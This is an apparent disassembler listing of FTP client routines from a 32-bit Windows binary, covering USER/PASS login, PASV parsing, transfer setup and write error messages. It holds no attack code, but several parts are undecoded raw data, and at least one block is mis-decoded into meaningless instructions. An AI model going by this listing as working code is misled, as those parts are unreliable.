[esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3CC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax call near ptr 77C40E13h nop add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CD4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h lodsb push esp inc esp add al, ch movsd wait xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42CB10 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_4454F4 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454EC ; jumptable 0042D351 case 1 mov dl, byte_4454F0 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454E4 ; jumptable 0042D351 case 2 mov cl, byte_4454E8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454DC ; jumptable 0042D351 case 3 mov al, byte_4454E0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454D4 ; jumptable 0042D351 case 4 mov dl, byte_4454D8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call near ptr 77C41B72h nop mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 40684D75h, 90004454h, 809709E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44543068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh, 0E8004455h dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44553468h, 0E8905200h, 778120DDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h dd 9558E800h, 83907780h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h dd 75144689h, 5428682Ch, 17E80044h, 90778095h, 5704C483h dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 7F1373E8h, 108B9077h, 0E8685752h, 90004455h dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h dd 7FE1AAE8h, 0C4839077h, 5FC03304h, 9090C35Eh, 90909090h dd 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; 